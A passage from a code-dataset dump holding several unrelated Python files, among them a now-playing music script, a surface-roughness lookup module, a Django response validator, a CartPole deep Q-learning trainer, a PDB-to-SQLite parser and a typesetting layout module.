info about the currently playing song, in a pretty way.\n\n@author Kalman Olah\n\"\"\"\n\nimport cgi\nimport dbus\nimport shlex\nimport socket\nimport subprocess\nimport sys\nimport urllib\n\n\nplayers = [\n 'spotify',\n 'ncmpcpp'\n]\n\n\nplay_states = {\n 'play': 'PLAYING',\n 'pause': 'PAUSED',\n 'stop': 'STOPPED',\n 'Playing': 'PLAYING',\n 'Paused': 'PAUSED',\n 'Stopped': 'STOPPED'\n}\n\n\ndef format_data(data):\n \"\"\"Format song data to make it all pretty.\"\"\"\n if not data:\n return\n\n # Start by truncating values that are too long\n max_len = 30\n for key in data:\n if type(data[key]) is not str:\n continue\n\n if data[key] and len(data[key]) > max_len:\n data[key] = data[key][:(max_len - 3)] + \"...\"\n\n status_str = ('[%s] ' % data['status']) if data['status'] != 'PLAYING' \\\n else ''\n album_str = (' (%s)' % data['album']) if data['album'] else ''\n artist_str = ('%s ~ ' % data['artist']) if data['artist'] else ''\n title_str = data['title']\n\n formatted = status_str + artist_str + title_str + album_str\n\n if \"--ascii\" in sys.argv:\n formatted = formatted.encode(\"ascii\", \"ignore\")\n\n if \"--url-encode\" in sys.argv:\n formatted = urllib.quote_plus(formatted)\n\n if \"--html-safe\" in sys.argv:\n formatted = cgi.escape(formatted)\n\n # if \"--utf-8\" in sys.argv:\n # formatted = formatted.encode('utf8')\n\n return formatted\n\n\ndef get_playing(player):\n \"\"\"Fetch and return track info for a player.\"\"\"\n data = {\n 'title': None,\n 'artist': None,\n 'album': None,\n 'status': None\n }\n\n if player == 'spotify':\n try:\n bus = dbus.Bus(dbus.Bus.TYPE_SESSION)\n bus = bus.get_object('com.spotify.qt', '/')\n metadata = bus.GetMetadata()\n status = bus.Get('org.freedesktop.MediaPlayer2', 'PlaybackStatus')\n\n data['title'] = metadata['xesam:title']\n data['artist'] = metadata['xesam:artist'][0]\n data['album'] = metadata['xesam:album']\n data['status'] = play_states.get(status)\n except dbus.exceptions.DBusException:\n pass\n\n elif player == 'ncmpcpp':\n p = subprocess.Popen(\n shlex.split('ncmpcpp --now-playing \"%t|D|%a|D|%b\"'),\n stdout=subprocess.PIPE)\n\n metadata, err = p.communicate()\n if not metadata:\n return data\n\n metadata = metadata.decode().rstrip().split('|D|')\n\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.connect(('localhost', 6600))\n\n sock.recv(1024)\n sock.send('status\\n'.encode('utf8'))\n\n res = sock.recv(1024)\n sock.close()\n\n status = []\n for v in res.decode().rstrip().split('\\n'):\n vs = v.split(': ', 1)\n if len(vs) > 1:\n status.append(v.split(': ', 1))\n status = dict(status)['state']\n status = play_states.get(status)\n\n data['title'] = metadata[0]\n data['artist'] = metadata[1]\n data['album'] = metadata[2]\n data['status'] = status\n\n return data\n\n\nif __name__ == '__main__':\n \"\"\"Standard import guard.\"\"\"\n data = None\n for p in players:\n tmp = get_playing(p)\n\n if tmp['title']:\n data = tmp\n\n if data['status'] == 'PLAYING':\n break\n\n if data:\n print(format_data(data))\n","sub_path":"scripts/now_playing.py","file_name":"now_playing.py","file_ext":"py","file_size_in_byte":3471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"143071688","text":"\"\"\"Main module.\"\"\"\nfrom functools import lru_cache\nimport numpy as np\nfrom numpy import sin, cos, tan, exp, pi\nimport xarray as xr\nfrom . import helpers as rh\nfrom .config import FLOOKUP, AZ0\n\n\ndef get_shadow_table(rms, sun_theta, sun_az, los_lookup=FLOOKUP):\n \"\"\"\n Return probability that each facet is in shadow given (sun_that, sun_az)\n on a surface with rms roughness.\n\n Parameters\n ----------\n rms_slope (num): Root-mean-square slope of roughness [deg]\n sun_theta (num or array): Solar inclination angle [deg]\n sun_az (num or array): Solar azimuth [deg]\n los_lookup (path or 4D array): Path to file or los lookup array\n\n Returns\n -------\n shadow_prob (2D array): Shadow probability table (dims: az, theta)\n \"\"\"\n # Invert to get P(shadowed) since los_lookup defaults to P(illuminated)\n return 1 - get_los_table(rms, sun_theta, sun_az, los_lookup, \"prob\")\n\n\ndef get_view_table(rms, sc_theta, sc_az, los_lookup=FLOOKUP):\n \"\"\"\n Return probability that each facet is observed from (sc_theta, sc_az)\n on a surface with rms roughness.\n\n Parameters\n ----------\n rms_slope (num): Root-mean-square slope of roughness [deg]\n sc_theta (num or array): Spacecraft emission angle [deg]\n sc_az (num or array): Spacecraft azimuth [deg]\n los_lookup (path or 4D array): Path to file or los lookup array\n\n Returns\n -------\n view_prob (2D array): View probability table (dims: az, theta)\n \"\"\"\n return get_los_table(rms, sc_theta, sc_az, los_lookup, \"prob\")\n\n\ndef get_facet_weights(rms, inc, los_lookup=FLOOKUP):\n \"\"\"\n Return the weighted probability of each facet occurring given an rms rough\n surface facets in the line of sight of (theta, az).\n\n Parameters\n ----------\n rms (num): Root-mean-square surface theta describing roughness [deg]\n inc (num or array): Inclination angle [deg]\n los_lookup (path or xarray): Los lookup xarray or path to file.\n\n Returns\n -------\n weights (2D array): Weighted probability table that sums to 1.\n \"\"\"\n tot = get_table_xarr([rms, inc], [\"rms\", \"inc\"], None, \"total\", los_lookup)\n return tot / np.nansum(tot)\n\n\ndef get_los_table(rms, inc, az=None, los_lookup=FLOOKUP, da=\"prob\"):\n \"\"\"\n Return 2D line of sight probability table of rms rough surface facets in\n the line of sight of (inc, az).\n\n Output los_table is interpolated from ray-casting derived los_lookup.\n See make_los_table.py to produce a compatible los_lookup file.\n\n Parameters\n ----------\n rms (num): Root-mean-square surface theta describing roughness [deg]\n inc (num or array): Inclination angle [deg]\n az (num or array): Azimuth [deg]\n los_lookup (path or xarray): Los lookup xarray or path to file.\n da (str): DataArray to query ['total', 'los', 'prob'] (default: prob)\n\n Returns\n -------\n los_table (2D array): Line of sight probability table (dims: az, theta)\n \"\"\"\n # Format rms and inc to pass to get_table_xarr\n los_table = get_table_xarr((rms, inc), (\"rms\", \"inc\"), az, da, los_lookup)\n return los_table\n\n\ndef get_table_xarr(params, dims=None, az=None, da=\"prob\", los_lookup=FLOOKUP):\n \"\"\"\n Return interpolated xarray.DataArray of los_lookup table at given params.\n\n Parameters\n ----------\n params (list): List of values to query in los_lookup.\n dims (list of str): Dimensions name of each param (default: index order).\n az (num): Azimuth of observation to query (default: az0).\n da (str): DataArray in xarray.DataSet to query (default: prob)\n los_lookup (path or xarray): Path to file or los lookup array.\n\n Returns\n -------\n table (xarray.DataArray): Table of los_lookup values\n \"\"\"\n if los_lookup is None:\n los_lookup = FLOOKUP\n if isinstance(los_lookup, np.ndarray):\n los_lookup = rh.np2xr(los_lookup)\n print(type(los_lookup))\n\n # Load los_lookup if necessary and get desired DataArray\n if not isinstance(los_lookup, (xr.Dataset, xr.DataArray)):\n los_lookup = load_los_lookup(los_lookup)\n if isinstance(los_lookup, xr.Dataset):\n los_lookup = los_lookup[da]\n\n # Get table dimensions if not named\n if dims is None:\n dims = list(los_lookup.dims)\n\n # Get table coordinates\n coords = {dims[i]: params[i] for i in range(len(params))}\n\n # Rotate los_lookup to target azimuth (else leave in terms of az0)\n if az is not None:\n los_lookup = rotate_az_lookup(los_lookup, az)\n\n # Get table values\n table = los_lookup.interp(coords, method=\"linear\")\n return table\n\n\ndef rotate_az_lookup(los_table, target_az, az0=None):\n \"\"\"\n Return los_table rotated from az0 to nearest target_az in azcoords.\n\n Given az0 must match solar az used to produce los_lookup (default az0=270).\n\n Parameters\n ----------\n los_table (array): Line of sight probability table (dims: az, theta)\n target_az (num): Target azimuth [deg]\n azcoords (array): Coordinate array of azimuths in los_table [deg]\n az0 (optional: num): Solar azimuth used to derive los_lookup [deg]\n\n Returns\n -------\n rotated_los_table (array): los_table rotated on az axis (dims: az, theta)\n \"\"\"\n if az0 is None:\n az0 = float(los_table.attrs.get(\"az0\", AZ0))\n azcoords = los_table.az.values\n ind0 = np.argmin(np.abs(azcoords - az0))\n ind = np.argmin(np.abs(azcoords - target_az))\n az_shift = ind - ind0\n return los_table.roll(az=az_shift, roll_coords=False)\n\n\ndef slope_dist(theta, theta0, dist=\"rms\"):\n \"\"\"\n Return slope probability distribution for rough fractal surfaces. Computes\n distributions parameterized by mean slope (theta0) using Shepard 1995 (rms)\n or Hapke 1984 (tbar) roughness.\n\n Parameters\n ----------\n theta (array): Angles to compute the slope distribution at [rad].\n theta0 (num): Mean slope angle (fixed param in RMS / theta-bar eq.) [rad].\n dist (str): Distribution type (rms or tbar)\n\n Returns\n -------\n slopes (array): Probability of a slope occurring at each theta.\n \"\"\"\n theta = np.atleast_1d(theta)\n # If theta0 is 0, slope_dist is undefined. Set to 0 everywhere.\n if theta0 == 0:\n return np.zeros_like(theta)\n\n # Calculate Gaussian RMS slope distribution (Shepard 1995)\n if dist == \"rms\":\n slopes = (tan(theta) / tan(theta0) ** 2) * exp(\n -tan(theta) ** 2 / (2 * tan(theta0) ** 2)\n )\n\n # Calculate theta-bar slope distribution (eqn. 44, Hapke 1984)\n elif dist == \"tbar\":\n A = 2 / (pi * tan(theta0) ** 2)\n B = pi * tan(theta0) ** 2\n slopes = A * exp(-tan(theta) ** 2 / B) * sin(theta) / cos(theta) ** 2\n else:\n raise ValueError(\"Invalid distribution specified (accepts rms, tbar).\")\n # Normalize to convert to probability\n slopes = slopes / np.sum(slopes)\n return slopes\n\n\n# File I/O\n@lru_cache(maxsize=1)\ndef load_los_lookup(path=FLOOKUP):\n \"\"\"\n Return line of sight lookup at path.\n\n Parameters\n ----------\n path (optional: str): Path to los lookup file containing xarray.Dataset\n\n Returns\n -------\n los_lookup (4D array): Shadow lookup (dims: rms, cinc, az, theta)\n \"\"\"\n try:\n ext = path.suffix\n except AttributeError:\n ext = \".\" + path.split(\".\")[-1]\n if ext == \".nc\":\n los_lookup = xr.open_dataset(path)\n elif ext == \".npy\":\n los_lookup = np.load(path)\n else:\n raise ValueError(\"Invalid los_lookup file format.\")\n return los_lookup\n","sub_path":"roughness/roughness.py","file_name":"roughness.py","file_ext":"py","file_size_in_byte":7484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"329567019","text":"#This script will read each line and write out the lines that match criteria\nimport sys\n\n#if there is an additional argument, use as file name\nif len(sys.argv) > 1:\n\tfileStrs = sys.argv[1:len(sys.argv)]\t\n\t#for i in range(1,len(sys.argv)-1):\n\t#\tfileStrs.append = sys.argv[i]\n\tprint(fileStrs)\n\tfor fileName in fileStrs:\n\t\tprint(\"File: \"+fileName)\nelse:\n\tfileStrs = [\"words.txt\"];\n\t\ninputFiles = [open(fileName,'r') for fileName in fileStrs]\noutputFile = open(\"dictionary.txt\",\"w\")\n\nalphabet = 'abcdefghijklmnopqrstuvwxyz\\n'\nfor currFile in inputFiles:\n\tfor line in currFile:\n\t\t\n\t\talphabetical = True\n\t\tline = line.lower()\n\t\t#if all characters belong to the alphabet, write line to new file\t\n\t\tfor ch in line:\t\n\t\t\tif (ch not in alphabet):\n\t\t\t\tprint(\"Invalid char: \"+ch)\n\t\t\t\talphabetical = False\n\t\tif alphabetical:\n\t\t\t#print(\"Adding: \"+line)\n\t\t\toutputFile.write(line)\n\t#currFile.close()\n\noutputFile.close\n","sub_path":"Dictionary-Builder/dictionaryBuilder.py","file_name":"dictionaryBuilder.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"59347366","text":"import logging\nfrom typing import Optional\n\nfrom django.core.exceptions import MultipleObjectsReturned\n\nfrom django_swagger_tester.models import Method, Schema, Url, ValidatedResponse\nfrom django_swagger_tester.utils import resolve_path\n\nlogger = logging.getLogger('django_swagger_tester')\n\n\ndef save_validated_response(\n path: str,\n method: str,\n response_hash: str,\n schema_hash: str,\n valid: bool,\n status_code: int,\n error_message: Optional[str] = None,\n) -> ValidatedResponse:\n \"\"\"\n Creates a ValidatedResponse object.\n \"\"\"\n # we need to save the deparameterized path (/api/{version}/{vehicle_type}/correct)\n # and not the path (/api/v1/cars/correct)\n # otherwise we will get a new DB-entry for every `id` in a /api/v1/resource/{id}-endpoint, which defeats the purpose\n deparameterized_path, resolved_path = resolve_path(path)\n\n logger.info('Saving %s response from %s request to `%s`', 'valid' if valid else 'invalid', method, path)\n url, _ = Url.objects.get_or_create(url=deparameterized_path)\n method, _ = Method.objects.get_or_create(method=method)\n try:\n schema, _ = Schema.objects.get_or_create(hash=str(schema_hash))\n except MultipleObjectsReturned:\n schema = Schema.objects.filter(hash=str(schema_hash)).first()\n return ValidatedResponse.objects.create(\n method=method,\n url=url,\n schema_hash=schema,\n response_hash=str(response_hash),\n valid=valid,\n status_code=status_code,\n error_message=error_message,\n )\n\n\ndef get_validated_response(path: str, method: str, response_hash: str) -> ValidatedResponse:\n \"\"\"\n Fetches a ValidatedResponse object.\n \"\"\"\n deparameterized_path, resolved_path = resolve_path(path)\n return ValidatedResponse.objects.prefetch_related('schema_hash').get(\n url__url=deparameterized_path, method__method=method, response_hash=str(response_hash)\n )\n","sub_path":"django_swagger_tester/selectors.py","file_name":"selectors.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"575625812","text":"# Imports\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\nimport tensorflow as tf\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\nfrom collections import deque\n\nimport gym\n\n# Environment\nenv = gym.make ('CartPole-v1')\n\n# Hyperparameters\nnum_episodes = 50\nnum_testepis = 5\nnum_steps = 400\n\nsize_batch = 1000\nsize_memory = 6000\n\nlr = 0.8\ngamma = 0.9\n\nmax_eps = 1.0\nmin_eps = 0.1\n\ndata_filename = \"DataDeepQLearning.csv\"\n\n#\nmemory = deque (maxlen = size_memory)\n\nmodel = tf.keras.models.Sequential ()\nl = tf.keras.layers\nmodel.add (\n l.Dense (16,\n input_dim = env.observation_space.shape[0],\n activation = 'tanh'))\nmodel.add (l.Dense (12, activation = 'tanh'))\nmodel.add (l.Dense (8, activation = 'tanh'))\nmodel.add (l.Dense (env.action_space.n, activation = 'linear'))\nmodel.compile (\n optimizer = 'adam',\n loss = 'mean_squared_error',\n metrics = [])\n\n# Prep\nstate0 = env.reset ()\nfor i in range (size_batch):\n action = random.randrange (env.action_space.n)\n state1, reward, isdone, info = env.step (action)\n memory.append ((state0, action, reward, state1, isdone))\n if isdone:\n state0 = env.reset ()\n else:\n state0 = state1\n\n# Training\nscores = []\nfor episode in range (num_episodes):\n eps = max_eps*(min_eps/max_eps)**(episode/num_episodes)\n\n state0 = env.reset ()\n score = 0\n for step in range (num_steps):\n #env.render ()\n # choose action\n if random.random () > eps:\n q_vals = model.predict (np.array ([state0]))\n action = np.argmax (q_vals)\n else:\n action = random.randrange (env.action_space.n)\n # perform\n state1, reward, isdone, info = env.step (action)\n if isdone:\n reward = 0\n score += reward\n memory.append ((state0, action, reward, state1, isdone))\n state0 = state1\n # create training batch\n batch = random.sample (memory, size_batch)\n batch = list (zip (*batch))\n b_state0 = np.array (batch[0])\n b_action = np.array (batch[1])\n b_reward = np.array (batch[2])\n b_state1 = np.array (batch[3])\n b_isdone = np.array (batch[4])\n curr_q = model.predict (b_state0)\n next_q = model.predict (b_state1)\n b_target = curr_q\n for i in range (size_batch):\n b_target[i,b_action[i]] += lr*(b_reward[i] + gamma*max (next_q[i]) \\\n - b_target[i,b_action[i]])\n model.fit (\n b_state0,\n b_target,\n epochs = 10,\n batch_size = size_batch,\n verbose = 0)\n if isdone:\n break\n print (\"episode {0:3d}, score {1:d}, eps {2:6f}\"\n .format (episode, int (score), eps))\n scores.append (score)\n\nif data_filename:\n with open (data_filename, 'w') as f:\n for i in range (num_episodes):\n f.write (\"{0:d},{1:d}\\n\".format (i, int (scores[i])))\n\nplt.plot (scores)\nplt.show ()\n\n# Play\nfor episode in range (num_testepis):\n state0 = env.reset ()\n score = 0\n\n for step in range (num_steps):\n env.render ()\n q_vals = model.predict (np.array ([state0]))\n action = np.argmax (q_vals)\n state0, reward, isdone, info = env.step (action)\n score += reward\n if isdone:\n break\n\n print (\"score\", score)\n\n","sub_path":"Code/RLPole/DeepQLearning.py","file_name":"DeepQLearning.py","file_ext":"py","file_size_in_byte":3401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"266712508","text":"#!/usr/bin/python\n# -*- coding=utf-8 -*-\n#TODO make it so that a node can have a relation with a network\nfrom .node import Node\n\nclass Net(object):\n value = \"\"\n nodes = []\n def __init__(self, name=\"Network\"):\n self.nodes = dict()\n self.value = name\n print(\"[!] Created network \", name)\n\n def __str__(self):\n return self.value\n\n def __getattr__(self, name):\n def function():\n print(\"You tried to call a method named: %s\" % name)\n return function\n\n def getNodeskeys(self):\n l = list()\n for n in self.nodes.values():\n if type(n) is Node:\n l.append(n.value)\n return l\n\n def add(self, *nodes):\n for n in nodes:\n self.nodes[n.value] = n\n\n def getNode(self, nodeName):\n return self.nodes[nodeName]\n\n def search(self, node, depth=2, visited_nodes = []):\n if type(node) is str:\n node = self.getNode(node)\n node.showLinks()\n visited_nodes.append(node)\n items = self.nodes.values()\n if depth > 0:\n for elem in node.connections():\n if type(node) is Net:\n continue\n if elem in items and elem not in visited_nodes:\n visited_nodes = self.search(elem, depth=(depth-1), visited_nodes=visited_nodes)\n return visited_nodes\n\n def randomSearch(self, returnstr = False):\n visited_nodes = []\n items = self.nodes.values()\n for node in items:\n if type(node) is Net:\n continue\n if node in items and node not in visited_nodes:\n visited_nodes = self.search(node, depth=0, visited_nodes=visited_nodes)\n \n def filter(self, alist):\n r = list()\n items = self.nodes.values()\n for elem in alist:\n if elem in items:\n r.append(elem)\n return r\n \n\n def __connected(self, a, b):\n for elem in a:\n for elemB in b:\n if elem == elemB:\n return [elem]\n return []\n\n def areConnected(self, nodeA, nodeB, nlist = [], ignore = [], checked = [], all_connections=True):\n items = self.nodes.values()\n if nodeA not in items or nodeB not in items:\n return []\n if nodeA == nodeB:\n return [nodeA]\n\n checked.append(nodeA)\n\n nlist = self.filter(list(nodeA.connections(all=all_connections)))\n \n for elem in nlist:\n if elem in checked:\n continue\n if nodeB in elem.connections(all=all_connections):\n return [nodeA, elem, nodeB]\n r = self.areConnected(elem, nodeB, all_connections=all_connections)\n if r != []:\n return [nodeA] + r\n return []\n\n def isLinkedBy(self, nodeA, link, nodeB, all_connection = True):\n path = self.areConnected(nodeA=nodeA, nodeB=nodeB, checked=[], nlist=[], all_connections=all_connection)\n if path == []:\n return False\n \n for i in range(len(path)-1):\n if ( link not in path[i].relationsWith(path[i+1])):\n return False\n return True\n\n\n def drawPath(self, nodeA, nodeB, all_connections = True):\n path = self.areConnected(nodeA=nodeA, nodeB=nodeB, checked=[], nlist=[], all_connections=all_connections)\n if path == []:\n print(\"No path has been found between \", nodeA.value, \" and \", nodeB.value)\n return\n \n print(\"Printing the path:\")\n for i in range(len(path)-1):\n print(path[i].value, \"\\t| \", path[i].relationsWith(path[i+1]), \"\\t| \", path[i+1].value)\n","sub_path":"semawal/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":3721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"539133988","text":"# Übungsabgabe 03\n# Sebastian Pritz\n# Python Version 3.7.0\n# Stundenaufwand: 8h\nimport os\nimport sqlite3\nimport re\n\ndef createEntry(fileName, conn):\n pdbFile = open(fileName, 'r')\n\n # Define all regular expressions\n reHeader = re.compile('^HEADER\\s*(.*)\\s*\\d{2}-.*-\\d{2}\\s*(\\w*)')\n reTitle = re.compile('^TITLE\\s+\\d*\\s*(.*)')\n reCompnd = re.compile('^COMPND\\s+\\d?\\s*(CHAIN:[^;]*)')\n reAtom = re.compile('^ATOM\\s*\\d*(\\s*[^\\s]+\\s*){4}(\\d+.\\d+)\\s+(\\d+.\\d+)\\s+(\\d+.\\d+)')\n \n # Set all values to default\n pdbId = \"\"\n header = \"\"\n title = \"\"\n compnd = list()\n X = 0.0\n Y = 0.0\n Z = 0.0\n\n # Check each line in the pdb file\n for line in pdbFile.readlines():\n # Try to find a regex match.\n hreg = reHeader.match(line)\n treg = reTitle.match(line)\n creg = reCompnd.match(line)\n areg = reAtom.match(line)\n\n # Depending on the match, populate one of the variables.\n if hreg:\n header += hreg.group(1).strip()\n pdbId += hreg.group(2)\n elif treg:\n title += treg.group(1)\n elif creg:\n compnd.append(re.sub(' +', ' ', creg.group(1)).strip())\n elif areg:\n X += float(areg.group(2))\n Y += float(areg.group(3))\n Z += float(areg.group(4))\n\n # Post processing, should there be lots of whitespaces.\n header = re.sub(' +', ' ', header)\n title = re.sub(' +', ' ', title)\n\n # After fetching all the data from the file, insert the values.\n cur = conn.cursor()\n cur.execute(\"INSERT INTO protein VALUES(?,?,?)\",(pdbId,header,title))\n \n for counter in range(0, len(compnd)):\n cur.execute(\"INSERT INTO compnd VALUES(?,?,?)\",(pdbId,counter,compnd[counter]))\n\n cur.execute(\"INSERT INTO atom VALUES(?,?,?,?)\",(pdbId,X,Y,Z))\n cur.close()\n\n \n# Open a SQLITE connection to the local db (preconfigured with tables)\nconn = sqlite3.connect('pdb_db.db')\n\nfor fileName in os.listdir(\"PDB\"):\n createEntry('PDB/'+fileName, conn)\n\nconn.commit()\nconn.close()\n\n\n\n","sub_path":"FH/SKS3/SKS3_UE03_Pritz/SKS3_UE03_Pritz/Teil1_B.py","file_name":"Teil1_B.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"212916456","text":"\"\"\"\nCanSat Constellation Plant Model\n\nsatplant.py\n\nTaken from\n\n> Umberto Ravaioli, James Cunningham, John McCarroll, Vardaan Gangal, Kerianne Hobbs,\n> \"Safe Reinforcement Learning Benchmark Environments for Aerospace Control Systems,\"\n> IEEE Aerospace, Big Sky, MT, March 2022.\n\"\"\"\nimport numpy as np\n\n\ndef model_output(model, time_t, state_sat, input_forces):\n return []\n\n\ndef model_state_update(model, time_t, state_sat, input_forces):\n input_forces = np.array(input_forces)[model.idx * 2:(model.idx + 1) * 2]\n xdot = np.zeros((4, ))\n xdot[0] = state_sat[2]\n xdot[1] = state_sat[3]\n xdot[2] = 3 * model.n**2 * state_sat[0] + \\\n 2 * model.n * state_sat[3] + 1 / model.mc * input_forces[0]\n xdot[3] = -2 * model.n * state_sat[2] + 1 / model.mc * input_forces[1]\n return xdot\n","sub_path":"examples/cansat/components/satplant.py","file_name":"satplant.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"133899345","text":"import functools\n\nfrom . import textual\nfrom .backend import get_backend\nfrom .units import mm, inch, _quantity\nfrom ._prim import Frame, Graphic, LazyPage, DrawingPrimitive\n\n\ndef center(node, width=None, height=None):\n if width is None:\n width = node.width\n if height is None:\n height = node.height\n x = (width - node.width) / 2\n y = (height - node.height) / 2\n return Frame(\n width, height, 0 * mm, 0 * mm, (node.at(x, y), ), 'centered')\n\n\ndef centered(width=None, height=None):\n _quantity(width, 'width')\n _quantity(height, 'height')\n\n def decorator(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n center(func(*args, **kwargs), width, height)\n\n return wrapper\n return decorator\n\n\ndef frame(*nodes, name='group', width=None, height=None):\n if width is None:\n w = max(n.x + n.width for n in nodes)\n else:\n w = width\n if height is None:\n h = max(n.y + n.height for n in nodes)\n else:\n h = height\n return Frame(w, h, 0 * mm, 0 * mm, nodes, name)\n\n\ndef framed(width=None, height=None):\n _quantity(width, 'width', or_none=True)\n _quantity(height, 'height', or_none=True)\n\n def decorator(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n return frame(\n *func(*args, **kwargs),\n width=width,\n height=height,\n name=func.__name__,\n )\n\n return wrapper\n return decorator\n\n\ndef image(path, width=None, height=None, crop=None):\n _quantity(width, 'width', or_none=True)\n _quantity(height, 'height', or_none=True)\n\n if width is None or height is None:\n # height and width of the source area of the image\n dimensions = get_backend().peek_image(path)\n if crop is None:\n sw, sh = dimensions\n else:\n sw = dimensions[0] * crop[2]\n sh = dimensions[1] * crop[3]\n\n # fill in missing size with scaled source size\n if width is None and height is None:\n width = sw / 300 * inch\n height = sh / 300 * inch\n elif height is None:\n height = width * sh / sw\n elif width is None:\n width = height * sw / sh\n\n return Graphic(\n width, height, 0 * mm, 0 * mm, DrawingPrimitive.IMAGE, (path, crop))\n\n\ndef padding(width, height):\n _quantity(width, 'width')\n _quantity(height, 'height')\n return Frame(width, height, 0 * mm, 0 * mm, (), 'padding')\n\n\ndef page(page_size, *margins):\n size_tuple = LazyPage.size(page_size)\n margin_tuple = LazyPage.margins(*margins)\n content_width = size_tuple[0] - margin_tuple[1] - margin_tuple[3]\n content_height = size_tuple[1] - margin_tuple[0] - margin_tuple[2]\n\n def decorator(func):\n @functools.wraps(func)\n def wrapper(*args, **kwargs):\n generator = func(content_width, content_height, *args, **kwargs)\n return LazyPage(size_tuple, margin_tuple, generator, func.__name__)\n\n return wrapper\n return decorator\n\n\ndef paragraph(font, string, width):\n _quantity(width, 'width')\n y = 0 * mm\n children = []\n for line in textual.naive_wrap(font, string, width):\n children.append(text_frame(font, ' '.join(line)).at(0 * mm, y))\n y += font.height\n return Frame(width, y, 0 * mm, 0 * mm, tuple(children), 'paragraph')\n\n\ndef renderer(*args, **kwargs):\n return get_backend().Renderer(*args, **kwargs)\n\n\n@framed()\ndef stack(*drawables):\n y = 0 * mm\n for c in drawables:\n yield c.at(x=c.x, y=y)\n y += c.height\n\n\ndef text_frame(font, string, *, center_of=None, shrink_to_ascent=False):\n _quantity(center_of, 'center_of', or_none=True)\n width = font.width_of(string)\n\n if shrink_to_ascent:\n height = font.ascent\n else:\n height = font.height\n\n if center_of is None:\n x = 0 * mm\n else:\n x = (center_of - width) / 2\n width = center_of\n\n return Graphic(\n width, height, 0 * mm, 0 * mm,\n DrawingPrimitive.TEXT, (font, string, x))\n","sub_path":"typesetting/layout.py","file_name":"layout.py","file_ext":"py","file_size_in_byte":4117,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"114826027","text":"import sys\nimport numpy as np\nfrom util import load_record\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout\nfrom keras import regularizers\nfrom keras.utils import to_categorical\n\nwith open(sys.argv[1], \"r\") as f:\n training_records = [load_record(r) for r in f.readlines()]\nprint(\"Training set size: \" + str(len(training_records)))\nwith open(sys.argv[2], \"r\") as f:\n testing_records = [load_record(r) for r in f.readlines()]\nprint(\"Testing set size: \" + str(len(testing_records)))\n\ntraining_max = max([len(r.features.keys()) for r in training_records])\ntesting_max = max([len(r.features.keys()) for r in testing_records])\nmax_features = max([training_max, testing_max])\n\n# training_max = max([max(r.features.keys()) for r in training_records])\n# testing_max = max([max(r.features.keys()) for r in testing_records])\n# max_features = max([training_max, testing_max])\n\nprint(\"Max # features: \" + str(max_features))\n\nx_train = np.zeros([len(training_records), max_features], dtype=np.bool_)\ny_train = np.zeros([len(training_records)], dtype=np.bool_)\nx_test = np.zeros([len(testing_records), max_features], dtype=np.bool_)\ny_test = np.zeros([len(testing_records)], dtype=np.bool_)\n\nprint(\"Dataset instantiated\")\n\nprint(x_train.shape)\n\nfor i, r in enumerate(training_records):\n features = list(r.features.keys())\n # features = to_categorical(list(r.features.keys()))\n x_train[i, :len(features)] = np.array(features)\n x_train[i, 0] = r.features[1]\n y_train[i] = (r.label+1)/2\n\nfor i, r in enumerate(testing_records):\n features = list(r.features.keys())\n # features = to_categorical(list(r.features.keys()))\n x_test[i, :len(features)] = np.array(features)\n x_test[i, 0] = r.features[1]\n y_test[i] = (r.label+1)/2\n\nprint(\"Dataset loaded\")\n\nk_reg = regularizers.l1(0.05)\n\nmodel = Sequential()\nmodel.add(Dense(4096, input_dim=max_features, activation='relu', kernel_regularizer=k_reg))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(2048, activation='relu', kernel_regularizer=k_reg))\nmodel.add(Dropout(0.5))\n# model.add(Dense(256, activation='relu', kernel_regularizer=k_reg))\n# model.add(Dropout(0.5))\nmodel.add(Dense(1024, activation='relu', kernel_regularizer=k_reg))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(512, activation='relu', kernel_regularizer=k_reg))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(256, activation='relu', kernel_regularizer=k_reg))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(128, activation='relu', kernel_regularizer=k_reg))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(64, activation='relu', kernel_regularizer=k_reg))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(1, activation='sigmoid'))\n\nmodel.compile(optimizer='nadam',\n loss='binary_crossentropy',\n metrics=['accuracy']\n )\n\nprint(\"Model compiled successfully\")\n\nmodel.fit(x_train, y_train,\n epochs=20,\n batch_size=256)\nscore = model.evaluate(x_test, y_test, batch_size=128)\n\nprint()\nprint(\"Score: \" + str(score))\n\nmodel.save_weights(\"mlp.model\")\n","sub_path":"neural_net/mlp.py","file_name":"mlp.py","file_ext":"py","file_size_in_byte":3014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"481424916","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n# x=np.arange(-10,11,1)\r\n#\r\n# y=x*x\r\n#\r\n# plt.plot(x,y)\r\n\r\n# plt.annotate('this is the 